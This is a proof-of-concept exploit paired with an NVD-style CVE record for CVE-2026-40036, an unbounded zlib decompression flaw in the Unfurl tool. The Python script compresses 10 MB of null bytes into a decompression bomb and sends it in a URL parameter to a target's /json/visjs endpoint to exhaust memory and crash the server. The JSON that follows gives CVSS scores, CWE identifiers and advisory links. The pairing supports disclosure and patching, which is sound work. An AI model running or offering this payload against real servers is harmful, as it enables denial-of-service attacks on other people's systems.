CVE-2026-40036

import zlib import requests import urllib.parse # Target URL target_url = "http://target-ip:5000/json/visjs" # Create a decompression bomb (10MB of null bytes compressed) original_size = 10 * 1024 * 1024 bomb_data = b'\x00' * original_size compressed_bomb = zlib.compress(bomb_data) print(f"Original size: {len(bomb_data)} bytes") print(f"Compressed size: {len(compressed_bomb)} bytes") # Prepare the payload parameter # The parameter name might vary based on actual implementation, assuming 'data' payload = {'url_param': compressed_bomb} try: # Send the malicious request response = requests.get(target_url, params=payload) print(f"Request sent, status code: {response.status_code}") except Exception as e: print(f"The server likely crashed or refused the connection: {e}")

{"cve": {"id": "CVE-2026-40036", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:24.190", "lastModified": "2026-04-17T15:56:41.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-409"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ryandfir:unfurl:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.04", "matchCriteriaId": "49E6A5D0-361A-4D18-A6D6-1416EC2EBC9C"}]}]}], "references": [{"url": "https://github.com/obsidianforensics/unfurl/releases/tag/v2026.04", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/obsidianforensics/unfurl/security/advisories/GHSA-h5qv-qjv4-pc5m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/dfir-unfurl-denial-of-service-via-unbounded-zlib-decompression", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}